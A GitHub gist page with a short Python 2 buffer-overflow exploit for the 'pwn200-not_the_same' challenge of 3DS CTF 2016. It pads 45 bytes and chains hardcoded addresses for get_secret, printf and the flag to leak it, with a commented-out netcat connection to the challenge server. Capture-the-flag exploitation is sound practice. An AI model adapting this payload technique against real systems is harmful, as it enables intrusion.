Last active
January 19, 2020 00:39
-
-
Save intrd/8927be9893665a26cba6db52f6fb73e0 to your computer and use it in GitHub Desktop.
Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| ## Buffer overflow using netcat.py to exploit pwn200-not_the_same @ 3dsctf-2k16 | |
| # @author intrd - http://dann.com.br/ | |
| # @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
| # int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a | |
| import sys, struct | |
| from int_netcat import Netcat | |
| #nc = Netcat('54.175.35.248', 8006) | |
| payload = "a"*45 | |
| payload += struct.pack("<I", 0x80489a0) #get_secret | |
| payload += struct.pack("<I", 0x0804f0a0) #printf | |
| payload += "AAAA" #junk address | |
| payload += struct.pack("<I", 0x80eCa2d) #flag | |
| print payload | |
| # nc.write(payload) | |
| # print nc.read() | |
| # nc.write("text\n") | |
| # print nc.read() | |
| # nc.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment